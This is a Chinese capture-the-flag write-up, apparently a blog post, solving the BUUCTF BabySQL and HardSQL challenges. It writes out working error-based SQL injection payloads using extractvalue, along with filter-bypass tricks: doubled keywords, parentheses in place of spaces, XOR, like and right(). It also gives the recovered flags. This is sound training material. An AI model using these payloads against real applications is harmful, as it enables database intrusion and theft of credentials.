buuctf BabySQL+HardSQL

buuctf BabySQL

1、进入登录页面在这里插入图片描述

2、随便输入
在这里插入图片描述

发现用户名和密码错误
在这里插入图片描述
3、尝试判断是否为字符型注入
在这里插入图片描述
根据报错,确定为单引号字符型注入,密码处也尝试了一下,发现也是单引号字符型注入,说明有2处注入漏洞
在这里插入图片描述
4、尝试万能密码
1’ or 1=1-- 在这里插入图片描述

发现or被过滤了
在这里插入图片描述
尝试双写or
在这里插入图片描述
成功绕过
这里说下双写or为什么可以绕过
因为这个网页只对or进行一次过滤,即将字符串中的or替换为空,但是我们可以双写or去绕过,我们也可以用||去代替or
在这里插入图片描述
但是发现这个密码并没有用

5、测试有哪些关键字被过滤
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现select被过滤

继续测试and,substr,from这些都被过滤了

6、开始爆数据,知道怎么绕过了,后面就很简单了

爆表:

'|| extractvalue(0x7e,concat('~',database())) -- 

在这里插入图片描述

爆数据库:

'|| extractvalue(0x7e,concat('~',(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()))) -- 

在这里插入图片描述
爆列

'|| extractvalue(0x7e,concat('~',(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=database() anandd table_name='b4bsql'))) -- 

在这里插入图片描述
爆数据

'|| extractvalue(0x7e,concat('~',(selselectect passwoorrd frofromm b4bsql limit 7,1))) -- 

爆到第7列发现flag,也可以使用burp的intruder来进行爆破数据
在这里插入图片描述
发现flag被截断,使用substr查看后面被截断的flag
mysql substr() 函数

'|| extractvalue(0x7e,concat('~',(selselectect susubstrbstr(passwoorrd,20) frofromm b4bsql limit 7,1))) -- 

在这里插入图片描述
将得到的flag组合即可得到flag
flag{09b6ece3-44fa-44a8-a97f-540c9efd1808}

buuctf HardSQL

经过测试and,空格,-,=,|,&都被黑名单了,但是extractvalue没有被过滤,所以我们可以使用xpath报错
1、爆数据库
空格用括号代替,括号一定要有闭合,闭合内的语句要的是一个select语句、函数、字符串、列、表、库等等

1'or(extractvalue(1,concat(0x7e,database())))#


如果or也被过滤的话,可以用^异或符号

1'^extractvalue(1,concat(0x7e,database()))#

在这里插入图片描述

2、爆表
=用like替代

'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))#

在这里插入图片描述
3、爆列

'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

在这里插入图片描述
4、爆数据

'^extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1))))#

在这里插入图片描述
~flag{d970a5cf-8466-448d-8204-3a
substr被过滤,使用right查找被截断的字符串

'^extractvalue(1,concat(0x7e,right((select(password)from(H4rDsq1)),20)))#

在这里插入图片描述

~d-8204-3a349037756c}
破解后得到flag flag{d970a5cf-8466-448d-8204-3a349037756c}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值